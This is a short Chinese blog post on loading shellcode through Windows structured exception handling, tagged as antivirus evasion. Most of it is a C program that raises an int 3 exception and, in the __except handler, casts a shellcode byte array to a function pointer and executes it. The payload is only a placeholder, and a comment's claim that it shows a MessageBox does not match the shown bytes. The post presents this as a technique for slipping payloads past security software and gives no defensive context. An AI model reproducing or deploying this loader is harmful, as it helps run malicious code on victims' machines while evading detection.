«

ShellCode加载 - SEH机制

ljierui 发布于 阅读:150 技术杂谈


1、SEH异常处理

1.1、SEH加载shellcode

#include <stdio.h>
#include <windows.h>

// 这只是一个示例 shellcode,该 shellcode 会触发 MessageBox
char shellcode[] = "\x90\x90...";  // NOP + your actual shellcode here

void exception_trigger() {
    __asm {
        int 3   // 产生一个断点,触发异常处理程序
    }
}

int main() {
    __try {
        printf("Triggering SEH...\n");
        exception_trigger();
    }
    __except (1) {   // 这是 SEH 的部分,在异常发生时会执行此代码
        void (*func)();
        func = (void (*)()) shellcode;  // 指定 shellcode 地址为我们的函数指针
        func();  // 执行 shellcode
    }

    return 0;
}

免杀

推荐阅读: